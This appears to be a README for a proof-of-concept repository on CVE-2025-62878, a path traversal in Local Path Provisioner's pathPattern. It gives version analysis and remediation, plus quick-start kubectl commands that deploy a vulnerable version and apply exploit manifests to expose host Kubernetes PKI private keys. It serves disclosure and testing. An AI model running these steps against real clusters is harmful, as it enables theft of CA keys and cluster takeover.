CVE-2025-62878: Local Path Provisioner Path Traversal

Overview

Vulnerability Description

A path traversal vulnerability exists in the pathPattern parameter of StorageClass. A malicious user can manipulate pathPattern using relative path elements (e.g., ../) to create PersistentVolumes pointing to arbitrary locations on the host node, bypassing the configured base directory restriction.

This allows attackers to:

• Access sensitive host files (e.g., /etc/kubernetes/pki/)
• Overwrite critical system files
• Achieve full cluster compromise by stealing Kubernetes CA private keys

Affected Versions (Verified)

Note: The official GitHub Advisory states "< 0.0.34" is affected, but our testing confirms:

• v0.0.33 is already patched
• v0.0.26 and earlier are not affected (pathPattern feature doesn't exist)
• Actual affected range: v0.0.27 <= version <= v0.0.32

Timeline

Reproduction

See exploit/ directory for detailed reproduction steps and scripts.

Quick Start

# 1. Install vulnerable version
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.30/deploy/local-path-storage.yaml

# 2. Apply exploit
kubectl apply -f exploit/malicious-storageclass.yaml
kubectl apply -f exploit/malicious-pvc.yaml
kubectl apply -f exploit/exploit-pod.yaml

# 3. Verify exploitation
kubectl get pv -o jsonpath='{.items[0].spec.hostPath.path}'
# Output: /etc/kubernetes/pki

kubectl exec pki-exploit-pod -- ls -la /stolen-pki/
# Shows Kubernetes PKI certificates and private keys

Remediation

Upgrade to v0.0.33 or later:

kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.33/deploy/local-path-storage.yaml

References

• GitHub Advisory GHSA-jr3w-9vfr-c746
• Fix Commit 1ed6b54
• pathPattern Feature Commit af85381